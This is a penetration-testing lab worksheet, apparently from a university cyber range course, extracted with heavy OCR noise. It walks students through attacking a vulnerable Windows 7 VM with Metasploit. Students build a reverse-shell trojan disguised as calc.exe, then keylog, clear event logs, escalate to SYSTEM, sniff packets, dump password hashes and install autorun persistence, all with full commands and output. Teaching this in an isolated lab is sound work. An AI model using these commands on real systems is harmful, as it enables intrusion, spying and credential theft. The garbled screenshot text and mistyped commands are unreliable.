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Laboratory Exercise E1 — Creating Attacks with Metasploit

1. Overview

For this lesson, students will use the Cyber Range: Kali Linux and Vulnerable Windows 7(64bit) VMs
(2020.09) environment to create attacks in Metasploit. Data collected from previous modules will be
used, so be sure to complete those modules first. We will exploit the Windows 7 box using a reverse
access Trojan that we create in MSFvenom. We will further escalate privileges on the Windows box
using several attacks and Meterpreter sessions.

2. Resources required

This exercise requires a Kali Linux VM and a Windows 7 VM running in the Cyber Range.

3. Initial Setup

For this exercise, you will log in to your Cyber Range account and select the Kali Linux and Vulnerable

Windows 7(64bit) VMs (2020.09) environment to create attacks in Metasploit. Open both VMs. They will
populate in different tabs.

» kali.example.com

1 »  targetexample.com

NOTE: Once on the Windows (target.example.com) desktop, a one-time “Windows
Activation” window may pop up. If it does, just bypass this by selecting “Ask Me Later”
or just select the Cancel button; we're not registering this OS since this is for temporary,
educational use.

IMPORTANT: For “Windows Activation”, DO NOT select “Activate Now” or this will cause
problems and you'll have to ask your instructor to reset your VMs.

4. Tasks
Task 1: Creating a RAT in MSFvenom

MSFvenom is a part of the Metasploit program. It allows for the creation of shellcode that can be
exploited using Metasploit. For this task, we will be creating a reverse access trojan (RAT). Open the Kali
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Linux and Vulnerable Windows 7(64bit) VMs (2020.09) environment. Each virtual machine will be
denoted with “Kali VM:” or “Windows VM..”

Kali VM:

Open a terminal. To view the msvenom options, switch to root and type msfvenom --help and
press enter. Examine the output. Notice the -b option will allow the shellcode to bypass many antivirus
programs by customizing the code and avoiding signatures.

To view the payloads, type msfvenom -1 payloads and press enter. As you can see, there are a lot

of payloads (screenshot on the next page). For this task, we are going to create a Windows reverse TCP
connection. First, we need a folder to save our work. Create a folder on the desktop called “shellcode.”

prepending

http
https

To create the payload, we need to set the parameters. Type:
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msfvenom -p windows/meterpreter/reverse tcp -a x86 --platform windows
-f exe LHOST=10.1.126.57 LPORT=666 -o
/home/student/Desktop/shellcode/calc.exe

and press enter. NOTE: Your LHOST IP address will be different than mine (10.1.126.57). Determine
your Kali (attacker) VM’s IP address and use it in the above command.

rootgkali:/home/student# msfvenom -p windows/meterpreter/reverse_tcp -a x64 --platform windows -f exe LHOST=10.1
.126.57 LPORT=666 -0 /home/student/Desktop/shellcode/calc.exe

o—/rreverse_tcp -a x86 --platform windows -f exe LHOST=I
=666 -0 /home/student/Desktop/shellcode/calc.exe
| pr se tcp -a x86 --platform windows -f exe LHOST=10.1.126.57 LPORT=6f

Command breakdown:

-p = setting the payload we want to use

-f is choosing the format

-0 is where we want to save the file and the file name

-a is the architecture to use (it’s usually okay to use x86 on x64)

--platform is the operating system that will be exploited

LHOST is the attacker’s IP address

LPORT is the port you want to make a connection on. This can be any port, but | know 666 is not
used. Since | am an evil hacker, | thought it made a nice fit...only joking!

At this point, an attacker would send a malicious email or upload the payload to a vulnerable webserver.
We will serve up our malicious file to a local server for testing and proof of concept. Type cd
Desktop/shellcode/ and press enter.

Windows VM:

Open a web browser and type in the address bar type <IP of Kali VM>:8888. You should see the
payload that we created in the file system. Click calc.exe to download the payload.
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@ Directory listing for / x

Directory listing for /

e calc.exe

+

<« C @ MNotsecure | 10.1.12657:5888

You may get the warning in the screenshot below as it did not encode (-b) and the Chrome built-in AV
picked it up. There are many techniques to prevent this detection including zipping, encoding, or
encrypting the file. You may also not get the alert at all. For now, we will continue on.

Chrome possible output:

A This type of file can harm your computer,

Doyou weant o keep calc.exe amanay?

Keep

Discard

Open Internet Explorer and type the following (including http://) in the address bar

http://10.1.126.57:8888

(IMPORTANT: Again, remember to use YOUR Kali VM’s IP address and not 10.1.126.57.) Click the
calc.exe and save the file to the desktop. Notice that there is no warning with this outdated version of

Internet Explorer.

€ Directory listing for / - Windows Internet Explorer

@ (o = |&] hitp/101126.57:8808/
o 0% of calc.exe fram 10.1.126.57 Completed
S Favorites | 3 @] Suggested Sites v @ | Web Slice Galle

" Intranet settings are now turned off by default, Intranet setti

{& Directory listing for /

. .. calc.exe from 10.1.126.57
Directory listing for /
Estimated time left:
Dowrload to
Transfer rate:
o calc.exe [” Close thiz dialog box when download complstes
& Done

“his type of file can harm your computer,
e ¥ P Keep Discard
100U wEnt to keep calcexe anyuay?

Kali VM:

- [Ol x|
vlwt,,\‘/,gmg ol
=10] x|
M- B | pm v Page~™ Safety ™ Tools™ ﬂ'
4
=]
Save A3

\_,,1\ _‘j Bl Desktop ~

Organize v MNew folder

- Fawvorites
Bl Desktop
& Downloads

= Recent Places

0 Libraries
& Documents
@' Music

k=) Pictures

B videos
*d Homegroup j

Libraries
Systern Falder

Harnegroup
Systern Folder

student
Systern Falder

Computer
Systern Folder

MNetwrork

> 83| SearchD

File name; m

Save as bype! |Apphcatinn
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Open a new terminal tab and become root. We will use Metasploit on this Kali box, and since it is our
first time using Metasploit on this VM, we must configure it to work properly. Refer back to the lab
exercise in Module 3, lesson 1, if you need a refresher on how to complete this task. Open the
msfconsole. Create a workspace in msf named hacking (workspace -a hacking).

f > workspace

sf > workspace -a hacking
workspace: hacking

The exploit we are going to use is a multi-handler. This will listen on the port we set. This has to match
the payload that we created earlier. Note that you can “tab complete” in the msfconsole. This will help
prevent typo errors.

e Typeuse exploit/multi/handler and pressenter.

® Set the same payload by typing set payload windows/meterpreter/reverse_ tcp
and press enter.

e Type set LHOST <Kali IP> and press enter.

e Type set LPORT 666 and press enter.

e Type exploit and press enter.

msf5 exploit( ) > s Is/meterpreter/revel

payload => windows/m

Windows VM:

Double click the calc.exe executable file on the desktop or in the downloads folder. At the “unknown
publisher” window, choose Run.

Open File - Security Waming ﬂ
The publizher could not be verified. Are you gure you want to
run this software?
== Mame: ChUsers\studentiDesktopicalcexe
Publisher: Unknown Publisher
Type: Application
From: ChUsers\student\Desktophcalcexe

Fun | Cancel

V¥ Always ask before opening this file

) This file does not have a valid digital signature that verifies its
@ publisher. “You should only run software from publishers vou tust.
How can | decide what software bo run’?

Kali VM:
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Q4ZC1iMDUOLTBhN2UZN2JjOWQ4NCB4YjQzYTJIhMCOTMzUyLTRkYzgtOTQ2... [ 1 v O @

2RAM ) A O &
Terminal - student@kali: ~ - O x

File Edit View Terminal Tabs Help

msf5 > workspace
hacking

msf5 > workspace hacking
Workspace: hacking
msf5 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf5 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit( ) > set LHOST 10.1.44.164
LHOST => 10.1.44.164
msf5 exploit( ) > LPORT 666
Unknown command: LPORT.
msf5 exploit( ) > set LPORT 666
LPORT => 666
msf5 exploit( ) > exploit

Started reverse TCP handler on 10.1.44.164:666

Sending stage (176195 bytes) to 10.1.39.129

Meterpreter session 1 opened (10.1.44.164:666 -> 10.1.39.129:59979) at 2022-
10-04 00:12:27 +0000

meterpreter > ||

Here’s my open meterpreter session.

Notice in the terminal you now have a Meterpreter session. This is a shell that will allow you to use
several Linux commands on the Windows box. It will also allow you to download, upload, change, delete
files and more. Here is a good cheat sheet for Meterpreter. Type sysinfo in Meterpreter session to
display the target (Windows) system info. This would be what you as a pentester would need to show as
a proof of concept when establishing a meterpreter session on a system. Even though we have a session
already, we can look at this information and determine that the machine is exploitable with several
exploits due to being “Service Pack 1.”

e_tcp
10.1.112.
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Complete the following:
e Inthe meterpreter session, type keyscan_start and press enter
e Return to the Windows box and type on the keyboard.
e Return to the Kali box and type keyscan_dump and press enter

The screenshot on the next page shows a few things that | typed into the Windows box.

PQ4ZC1iIMDUOLTBhN2UZN2JjOWQ4NC84YjQzYTIhMCO1MzUyLTRKYZgtOTQ2... e Y O @

1216AM ) A O | @
Terminal - student@kali: ~ - 0O X

File Edit View Terminal Tabs Help

Priv: Password database Commands

hashdump Dumps the contents of the SAM database

timestomp Manipulate file MACE attributes

meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes...
display settings

meterpreter > ||

Task 2: Using Meterpreter
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At this point in the course, we have exploited a machine and infiltrated the network. Depending on the
scope, this may be enough for the organization that you are completing the pentest for; however, some
organizations may want more. Hackers will definitely continue to infiltrate more of the network. Keep in
mind that payloads can be created that will allow access through the outer cyber defense layer of an
organization (otherwise known as the perimeter). This is a very common tactic. Most attacks start with
an email. In other words, this is easily done from outside the organization. For the Cyber Range, this is
not allowed because it would punch a hole to the outside. Once an attacker has a Meterpreter session,
they can complete many tasks to dig deeper into the network. In this task, we will explore these
techniques.

Kali VM:
In the Meterpreter session, type help and press enter. Examine the output and take note of what

options you have to further exploit the system. We will not cover them all, but is a good idea to get
familiar with them.

Command

s a background thre

/e channels

Meterpreter can have more than one session open. Which makes sense as attackers will attempt to hack
more than one system on a network. Attackers may also want to use more payloads or pivot to another
box. To background a session, type background in the Meterpreter session and press enter. To
interact with the session in the msfconsole type sessions -i 1 (or the session number if multiple
sessions are at play) and press enter. See image on the next page.

As mentioned in task 1, Meterpreter allows navigation using Linux commands. Type the following
commands each separately in the terminal and press enter after each command.

sysinfo
pwd

cd

1s
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As you can see, we have navigated out of the student account and into the C:\Users directory.
You may have to ed .. and press enter a few times to get into the /Users folder. Alternatively you

can navigate to the folder by using the cd command and the full directory path cd C:\Users.

We are most interested in the user “Administrator” or and authorized privileged users.

DQ4ZC1iMDUOLTBhN2UZN2JjOWQANC84YjQzYTIhMCOTMzUyLTRKYzgtOTQ2... [ 1© # O @

221IAM ) A © | &
Terminal - student@kali: ~ ] = [ 4

File Edit View Terminal Tabs Help

100666/rw-rw-rw- 0 fil  2018-12-12 14:14:54 +0000 ntuser.dat.LOG2
100666/ rw-rw-rw- 20 fil 2018-12-12 14:14:54 +0000 ntuser.ini

meterpreter > pwd
C:\Users\student
meterpreter > cd ..
meterpreter > pwd
C:\Users
meterpreter > 1s
Listing: C:\Users

Mode Size Last modified Name

40777 /ruxruxrwx 8192 2019-08-07 382 Administrator
40777/rwuxruxrwx 0 2009-07-14 :108: All Users
40555/r-xr-xr-x 8192 2009-07-14 :20: Default

40777 /ruxruxrux 0 2009-07-14 :08: Default User
40555/r-xr-xr-x 4096 i 2009-07-14 03:20: Public
40777/ruxruxrwx 8192 i 2018-10-05 225> VA Cyber Range
100666/ rw-rw-rw- 174 i 2009-07-14 154: desktop.ini
40777 /ruxruxrux 8192 2018-12-12 114: student

meterpreter > ||

Here is me in the /Users directory and using ls.

Let’s see if we can navigate into the Administrator folder. Type cd Administrator and press enter.
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DQ4ZC1iMDUOLTBhN2UzN2JjJOWQ4NC84YjQzYTIhMCO1MzUyLTRkYzgtOTQ2... e v O @

22AM ) A © | &
Terminal - student@kali: ~ — =t

File Edit View Terminal Tabs Help

40555/r-xr-xr-x 4096 dir 2009-07-14 03:20 Public
40777/rwxrwxrwx 8192 dir 2018-10-05 13:15: VA Cyber Range
100666/rw-rw-rw- 174 fil  2009-07-14 04:54: desktop.ini
40777/rwxrwxrwx 8192 dir 2018-12-12 14:14 student

meterpreter > cd Administrator
stdapi_fs_chdir: Operation failed: Access is denied.
meterpreter > clearev
Wiping 3230 records from Application...
stdapi_sys_eventlog_clear: Operation failed: Access is denied.
meterpreter > getuid
Server username: Win764bit-PC\student
meterpreter > idletime
User has been idle for: 6 mins 55 secs
meterpreter > ipconfig

Interface 1

: Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU 1 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1

Here is me using cd to try to change to the admin and checking my privileges. Then | typed ipconfig.

Looks like we are denied. Well let’s see what we can do with our current access. We do not want logs on
this machine to make it more difficult to trace how we got in. Let’s erase the logs by typing clearev
and pressing enter.

Well access is still denied. Looks like we don’t have admin rights. It was smart of the network admin to
not allow students admin rights. At this point we should try to figure out who we are, and if anyone is
currently accessing the Windows box. Type getuid and press enter. Type idletime and press enter.
Looks like my Windows box is idle and | am an underprivileged student user. Your results may not look
the same due to recently accessing the box; however, let’s assume no one is there.
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Let’s check out the network. Type ipconfig and press enter. Your results will look different, but take
note of the IP.

The IP I got is 10.1.39.129.

Interface 1

e ffff: ffff:ffff: ffff:Ffff:fIff

Looking at these results (on the previous page), it is clear we are on a VM that is on AWS laa$S
(infrastructure as a service). Many networks are moving to cloud architectures. | suspect you will see
many of these in your future endeavors in IT security. Let’s see what processes are running on the
system. Type ps and press enter.

This command can be revealing as many programs are exploitable. Notice also that you can see the
calc.exe running. We also know that Google Chrome is on the PC. We could use tools to extract any
Chrome saved passwords. From here, we could use the passwords to further exploit the system or even
use PSEXEC to pass the hash and exploit other internal systems that this user has access to.

NOTE: | downloaded several calc.exe exploits on this box, so this one is (4).
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DQ4ZC1iMDUOLTBhN2UZN2JjOWQANCBAYjQzYTIhMCOTMZUYLTRkYzgtOTQ2... (1 ©» % O @

1226AM ) A © | &
Terminal - student @kali: ~ pm o P 4

File Edit View Terminal Tabs Help

2128 680  sppsvc.exe

2164 540 conhost.exe

2172 2164 csrss.exe

2196 2164 winlogon.exe

2244 680 SearchIndexer.exe

2316 1224 cmd.exe

2364 680 taskhost.exe Win764bit-PC\student
indows\System32\taskhost.exe

2412 680 wmpnetwk.exe

2416 672 taskeng.exe

2472 1164 rdpclip.exe Win764bit-PC\student
indows\System32\rdpclip.exe

2508 540 conhost.exe

2676 2584 GoogleCrashHandler64.exe

2908 1008 dwm.exe Win764bit-PC\student
indows\System32\dwm.exe

2932 2900 explorer.exe Win764bit-PC\student
indows\explorer.exe

2984 3040 cmd.exe

3024 2932 calc.exe Win764bit-PC\student
sers\student\Desktop\calc.exe

3048 680 svchost.exe

meterpreter > l

Here you can see my calc.exe that’s running on my windows machine.

Type route and press enter to see the routing table. Here we can see many additional subnets and
what gateways they are on. All of which are out of scope for the Cyber Range, i.e. we are not allowed to
exploit them. Not for a real attacker though!
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DQ4ZC1iIMDUOLTBhN2UZN2JjOWQ4NC84YjQzYTIhMC01MzUyLTRkYZzgtOTQ?2..

File Edit View

Terminal - student@kali: ~

Terminal Tabs
meterpreter > route

IPv4 network routes

.0
.1
.255
.169

.169.
.169.

.0

.0

.255
255.255.255

«255
.255

No IPv6 routes were

meterpreter > ||

Netmask

Help

Gateway

10.1.39.
10.1.39.
10.1.39.
127.0.0.
127.0.0.
127.0.0.
10.1.39.
10.1.39.
10.1.39.
127.0.0.
10.1.39.
127.0.0.
10.1.39.

Here is the routing table using the route command.

Task 3 Escalating Privileges

Metric

i T

RZAM D A O @

Interface

Y O @

- 0 X

As you experienced in Task 2, this method only gets you on the box with the current user privileges. We
want admin access. Since we are local, we can now run local attacks. A quick way of escalating privileges
is to switch to a x64 meterpreter session by migrating to a x64 process. From here, we background the
meterpreter session and search for exploits against the session using the exploit suggester is Metasploit.

Windows VM:

e Open a notepad document and leave it open.

Kali VM:

e In the Meterpreter shell, type ps and press enter.
e Look for the notepad PID #.
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PQ4ZC1iMDUOLTBhN2UzN2JjOWQ4ANC84YjQzYTJhMCO1MzUyLTRkYzgtOTQ2.. O e v 00

1230AM ) A O | &
Terminal - student@kali: ~ - 0 X

File Edit View Terminal Tabs Help

2164 540 conhost.exe

2172 2164 csrss.exe

2196 2164 winlogon.exe

2244 SearchIndexer.exe

2316 cmd. exe

2364 taskhost.exe Win764bit-PC\student
indows\System32\taskhost.exe

2412 680 wmpnetwk.exe

2472 1164 rdpclip.exe Win764bit-PC\student
indows\System32\rdpclip.exe

2508 540 conhost.exe

Win764bit-PC\student
indows\System32\notepad.exe

2676 2584 GoogleCrashHandleré4.exe

2908 1008 dwm.exe Win764bit-PC\student
indows\System32\dwm.exe

2932 2900 explorer.exe Win764bit-PC\student
indows\explorer.exe

2984 3040 cmd.exe

3024 2932 calc.exe Win764bit-PC\student
sers\student\Desktop\calc.exe

3048 680 svchost.exe

IS A |
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PQ4ZC1iMDUOLTBhN2UzN2JjJOWQ4NC84YjQzYTJhMCO1MzUyLTRkYzgtOTQ2... e v O @

122AM ) A O | &
Terminal - student@kali: ~ i

File Edit View Terminal Tabs Help

2364 680 taskhost.exe x64 Win764bit-PC\student C:\W
indows\System32\taskhost.exe

2412 680 wmpnetwk.exe

2472 1164 rdpclip.exe Win764bit-PC\student C:\W
indows\System32\rdpclip.exe

2508 540 conhost.exe

2620 2932 notepad.exe Win764bit-PC\student C:\W
indows\System32\notepad.exe

2676 2584 GoogleCrashHandler64.exe

2908 1008 dwm.exe Win764bit-PC\student C:\W
indows\System32\dwm.exe

2932 2900 explorer.exe Win764bit-PC\student C:\W
indows\explorer.exe

2984 3040 cmd.exe

3024 2932 calc.exe Win764bit-PC\student C:\U
sers\student\Desktop\calc.exe

3048 680 svchost.exe

meterpreter > migrate 2620
Migrating from 3024 to 2620...
Migration completed successfully.
meterpreter > getuid
Server username: Win764bit-PC\student

meterpreter > ||

It appears we have discovered a privilege escalation vulnerability as we are now NT Authority\System.
This is great! We could do all kinds of things with root admin. Even though we already have a x64 NT
Auth session, it is important to know how to search for exploits against a session. If you did not become
NT Authority\System after migrating the notepad PID# and executing getuid, then jump to the
ALTERNATE PRIVILEGE ESCALATION section below.

[NOTE: | was only able to get this attack to work at random intervals. Students should use the exploit
suggester shown in the next step.]

e Background the session by typing background at the meterpreter prompt. This will return
you to the msf prompt.

e At the msfconsole, type sessions and press enter.

Here you can see that you have the x64 NT auth session!

e At the msfconsole prompt type, use post/multi/recon/local exploit suggester
and press enter.

e Type set session <session #>and press enter.

e Type run and press enter.
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msf5 post(

[+]

[+]

[+] :

[+] 10.1.113.19 exploit/window
cution comple

msf5 po

24ZC1iMDUOLTBhN2UZN2JjOWQ4NCB4YjQzYTIhMC01MzUyLTRKYZgtOTQ2... L Y O W

1236AM ) A © | &
Terminal - student@kali: ~ - 0O x

File Edit View Terminal Tabs Help

in meterpreter. It's important to note that not all local exploits
will be fired. Exploits are chosen based on these conditions:
session type, platform, architecture, and required default options.

msf5 post( ) > run

10.1.39.129 - Collecting local exploits for x64/windows...
.129 - 17 exploit checks are being tried...
.129 - exploit/windows/local/bypassuac_dotnet_profiler: The target ap
pears to be vulnerable.
[+] 10.1.39.129 - exploit/windows/local/bypassuac_sdclt: The target appears to b
e vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
[+] 10.1.39.129 - exploit/windows/local/ms10_092_schelevator: The target appears
to be vulnerable.
[+] 10.1.39.129 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appe
ars to be vulnerable.
Post module execution completed
msf5 post( ) > sessions -i 1
Starting interaction with 1...

meterpreter > getuid
Server username: Win764bit-PC\student

meterpreter > ||

This method did not work either.

ALTERNATE PRIVILEGE ESCALATION: If we did not have an elevated session, we could use another
exploit to elevate our privilege to NT auth. Instead, let’s look at what this VM is vulnerable to.

e Background the session by typing background at the meterpreter prompt. This will return
you to the msf prompt.
e Typeinfo exploit/windows/local/msl6 014 wmi_recv_notif and press enter.

This provides us with more information about the exploit. We can cross reference with our recon to
determine if it is the best option.

e Typeuse exploit/windows/local/msl6 014 wmi_ recv_notif and press enter.
e Type set session(session #;in my case 1) and press enter.
e Type run and press enter.
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n 10.1.112.15: 4444
pit...

oit DLL into 258

Hiinac
(hopefully priviles
10.1.113.1¢
0.1.112.15:4444 -> 10.1.113

e To see what user you are, type getuid and press enter. You should see you now have a
meterpreter session that is a NT AUTHORITY\SYSTEM.

}Q4ZC1IMDUOLTBRN2UZN2JjOWQANCBAYjQzYTIhMCOTMZUYLTRKYZgtOTQ2.. (1 » v O @

1239AM ) A © | &
Terminal - student@kali: ~ - O x

File Edit View Terminal Tabs Help

msf5 post( ) > use exploit/windows/local/ms16_
14_wmi_recv_notif
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit( ) > set session 1
ssion => 1
msf5 exploit( ) > run

Started reverse TCP handler on 10.1.44.164:4444

Launching notepad to host the exploit...

Process 548 launched.

Reflectively injecting the exploit DLL into 548...

Injecting exploit into 548...

Exploit injected. Injecting payload into 548...

Payload injected. Executing exploit...

Exploit finished, wait for (hopefully privileged) payload execution to compl

Sending stage (201283 bytes) to 10.1.39.129
Meterpreter session 2 opened (10.1.44.164:4444 -> 10.1.39.129:60010) at 2022
-10-04 00:39:17 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > ]

Here you can see | finally got elevated privileges.
Task 4: Administrative Meterpreter Session Commands

Now that we have a privileged account, we can complete all kinds of shenanigans.
e In the meterpreter session, type sysinfo and press enter.
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s 7 (6.1 Build 7601, Service Pack 1).
Architecture
System Lang
Domain
Logged On Us
rpreter

e Typeuse sniffer and press enter; this will start the sniffer software.

e Type sniffer interfaces and press enter to see what networks we can dump packets
from.

)

We want to connect to the network device and sniff a few packets.

e Typesniffer start 3 30 and press enter; 30 is the amount of packets we want to collect
and 3 is the AWS PV Network device that the system uses to access the internet. The other two
devices that are listed in the screenshot above are out of scope.

e Typesniffer dump 3 /home/student/Desktop/shellcode/win7.cap and
press enter. We are saving the sniffed packets to a file named win7.cap and saving it to the
shellcode folder you created on the Desktop.

Download c - 1V g to PC ;
PCAP written tc nt/Desktop/shellcode/win7.cap
meterpre

You can open the .cap file in Wireshark by navigating to the /home/student/Desktop/shellcode/ folder

and opening the win7.cap file. If you are using the GUI, you can double click and the file will open in
Wireshark.
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PQ4ZC1iMDUOLTBhN2UZN2JjOWQ4NC84YjQzYTJIhMCO1MzUyLTRkYzgtOTQ?2...

122AM ) A © | &
Terminal - student@kali: ~ - 0O x

File Edit View Terminal Tabs Help
Architecture : Xx64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 4
Meterpreter : X64/windows
meterpreter > use sniffer

Loading extension sniffer...Success.
meterpreter > sniffer_interfaces

1 - '"WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wi
fi:false )

2 - 'Intel(R) PRO/1000 MT Network Connection' ( type:4294967295 mtu:@ usable:fal
se dhcp:false wifi:false )

3 - 'AWS PV Network Device' ( type:® mtu:9015 usable:true dhcp:true wifi:false )

meterpreter > sniffer_start 3 30
Capture started on interface 3 (30 packet buffer)
meterpreter > sniffer_dump 3 /home/student/Desktop/shellcode/win7.pcap
Flushing packet capture buffer for interface 3...
Flushed 30 packets (3078 bytes)
Downloaded 100% (3078/3078)...
Download completed, converting to PCAP...
PCAP file written to /home/student/Desktop/shellcode/win7.pcap
meterpreter > ||

Here | saved the packets to win7.pcap.

Notice the red and black are our sessions. Your results will be different, as | played around with this
several times before getting it the way | wanted.

r | win7.cap [FAEN e
File Edit VWiew Go Capture Analyze Statistics Telephony Wireless Tools Help

= qaafE

-] Expression...

Lengtt Info

[T
54 4444
56

[l
» Frame 1: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)

» Ethernet IT, Src: Ba:fc:9e:a@:86:ac (Da:fc:Oe:aB:86:ac), Dst: Ba:dd:Bf:d4:5a:4d (Ba:dd:0f:d4:5a:4d)
» Address Resolution Protocol (request)

Ga dd @ d4 5a 4d 6a fc 9e a® 86 ac 08 06 00 01
08 00 06 04 00 O1 Pa fc 9e ad 86 ac Oa 01 70 01
G0 80 @6 00 60 00 Pa 81 71 cc

Q7 win? Packets: 34 - Displayed: 34 (100.0%) + Load time: 0:0.0  Profile: Default
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PWLTI3MDAtNDQ4ZC1iMDUOLTBhN2UZN2JjOWQ4ANC84YjQzYTIhAMCOTMzUYLTRkYzgtOTQ2.. B 1© % O @

] Terminal - student@kalli... 1247AM ) A © l ™

win7.pcap - 0O x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Source Destination Protocol Lengtt Info
01 TL! 199 Application Data
66 45346

6 (1

1 ] 1.‘
10.1.4.101

» Frame 1: 199 bytes on wire (1592 bits), 199 bytes captured (1592 bits)
» Ethernet II, Src: @a:e3:2c:fd:94:0f (Qa:e3:2c:fd:94:0f), Dst: 0a:72:76:3d:8c:2e (0a:72:76:3d:8c:2e)
» Internet Protocol Version 4, Src: 10.1.39.129, Dst: 10.1.4.101

» Transmission Control Protocol, Src Port: 3389, Dst Port: 45346, Seq: 1, Ack: 1, Len: 133

» Transport Layer Security

Qa 72 76 3d 8c 2e Ga e3 2c fd 94 Of 08 00 45 00 rv=-. 7 E -

00 b9 20 9a 40 60 80 06 0O 60 Ga 01 27 81 Qa 01 @ .
0020 04 65 [FLPEL bl 22 7c aa ad 2d 2f 25 Od df 80 18 "I -/%

01 01 40 93 00 00 01 01 08 Ga 00 03 93 d2 e5 dO @

64 19 17 03 01 00 80 ba bc cc 73 c9 5e d4 94 20 d S:A

b9 84 9d d2 25 4e 9d 8b 13 bf f@ 3c e9 24 8e b7 %N <$

a5 f8 3b c4 20 e4 86 a3 d1 Oe a3 25 55 1e 1a 8b : %U

9c 06 cb b6 97 5f 67 98 6c 83 70 dd f6 48 9f ee g 1pH

77 05 69 32 a6 3a c8 Of ae fc bb bb 8a 10 91 8c w- i2-:

eb 32 a1 59 2e 15 56 11 50 5d a8 df di1 a4 cc 41 2:Y.:¥- P] A -
O 7 win7.pcap Packets: 30 - Displayed: 30 (100.0%) Profile: Default

Here is my pcap in wireshark.

To dump the hashes of the Windows box, return to the meterpreter session and type run hashdump
and press enter. (If you get an error, see NOTE below.)

meterpreter > run hashdump

mart_hashdump.

ord hints on this

ord hast

HomeGroupUser$: 100 k -
student:1004 435b5140 7

NOTE: If your meterpreter session returns an error, use the direct location of the post exploit:

® Inthe meterpreter session, type run post/windows/gather/smart _hashdump and
press enter.
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Now we have all the hashes for the users. Copy and paste the hashes to leafpad, name it hashes.txt and
save it to the shellcode folder. We will return to this file in a later module when we crack hashes with
Hashcat, Hydra, and John the Ripper.

A3y e @ lrun post/windows/gather/smart_hashdump

Running module against WIN764BIT-PC
Hashes will be saved to the database if one is connected.
Hashes will be saved in loot in JtR password file format to:
/root/.msf4/1o0t/20210414204228_default_10.1.113.192_windows.hashes_015520. txt
Dumping sword hashes...
Running as SYSTEM extracting hashes from registry
Obtaining the N xeas
Calculating the oot key using SYSKEY 3f008c1c674223bbff60e18c9c3b3
Obtaining the user list and keys...
Decr ing user keys...
Dump password hints...
No users with password hints on this system
Dumping password hashes.
[+] Administrator:500: aad3bé)5b 1404eeaad3b435b51404ee:ed1566F5e433¢c8306c67af58aclde540:
[+] VACyberRange:1000: dad“b”“LSlkﬂ%ega 13b435b51404ee:379e0856825¢c850d5d87badbf4511F28:
[+] HomeGroupUser$:1003:aa dobABSb;1404e€d“d>b435b51404ee.7c8ebececfab1L80e7794dL051aqaf9..:
[+] student:1004:aad3b435b51404eeaad3b435b51404ee:eabs556003a83e179a149ce6583e097F: ::
meterpreter > | se

We really do not want to have to go through all these steps to connect the next time, so we can create a
persistent connection. To see the options, type run persistence -h. Thisis the help menu.
Examine the output. We want to match our current setup, so we will use —A and —U. Type run
persistence -A -U -I 20 -p 666 and press enter.

Next time we need to login and access the RAT, we only need to load up the Metasploit multi handler
and set the parameters (LPORT 666, LHOST <Kali IP>, and RHOST <Windows IP>. We will also have to set
the payload to the corresponding payload inside of a Metasploit handler from task one. If we were
remote, we would use the portfwd command to port forward, but again that is out of scope.

NOTE: The screenshot below shows only —A because | completed the tasks separately. If you get an
error, try to complete the commands run persistence -A -i 20 -p 666 andthen run
persistence -U -i 20 -p 666. Sometimes completing the commands separately will have
greater success.

> run pEFSiStEHCE -A -U -1 20 -p

[1] Meterpreter
['] Example: run exploit 0 -al/ tence OPTION
Running Persistence Script
» cleanup created at / /.msf4/logs/persistence/WIN76 -PC_ 6.5444/WIN764B]]

1tPnt d
t(-‘nt L

X :\Users
[+] Agent exe ted II1th PID 3
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Q4ZC1iMDUOLTBhN2UZN2JjOWQANC84YjQzYTJhMCO1MzUyLTRKYZgtOTQ?2... e v O @

ile Manag... ] Terminal - student@kal... Terminal - student@kal.. 12:55AM ) A © | 4

Terminal - student@kali: ~ ) = G

File Edit View Terminal Tabs Help

meterpreter > run persistence -A -U -I 20 -p 666

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]

Running Persistence Script

Resource file for cleanup created at /root/.msf4/logs/persistence/WIN764BIT-
PC_20221004.5355/WIN764BIT-PC_20221004.5355.rc¢

Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.1.44.164 LPORT=666

Persistent agent script is 99638 bytes long
[+] Persistent Script written to C:\Users\student\AppData\Local\Temp\cgxthLdv.vb
s

Starting connection handler at port 666 for windows/meterpreter/reverse_tcp
[+] exploit/multi/handler started!

Executing script C:\Users\student\AppData\Local\Temp\cgxthLdv.vbs
[+] Agent executed with PID 3016

Installing into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Ru
n\ymgdPjBGtMIXUbJ
[+] Installed into autorun as HKCU\Software\Microsoft\Windows\CurrentVersion\Run
\ymgdPjBGtMIXUbJ
meterpreter > Meterpreter session 3 opened (10.1.44.164:666 -> 10.1.39.129:6
0026) at 2022-10-04 00:53:56 +0000

meterpreter > ||

Here | ran the above command.

To spy on the user, we can grab a screenshot of the desktop. First we need to type ps to find the PID of
the explorer process. This will allow us to screenshot the entire desktop. You are not limited to explorer.
You can choose any process to screenshot. The process ID number is denoted at the top of the output
on the lefthand side as PID. NOTE: YOUR PID will be different than mine.

| got 2932

e Typemigrate <PID # of Explorer> and press enter. In my case, the PID for
explorer.exe is 1648. So, the command | would type ismigrate 1648.
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e Typeuse espia and press enter.
e Type screengrab and press enter.
e The screenshot will automatically open.

tudent/IbCjhvQi. jpeqg

Since the default way to open an image in Kali is with the FireFox browser, you will get the following
error; however, you can still view the image by navigating to the /home/student/ folder and double
clicking the image; in my case, it is IbCjhvQi.jpeg as you can see from the message in the above
screenshot. This jpeg is actually a screengrab of the Windows VM. See image on following page. Your
image may look different, but should be fairly similar.

meterpreter g Firefox as root in a re er's ion is not supported.

&

Directory listing for /

Show all

" r .
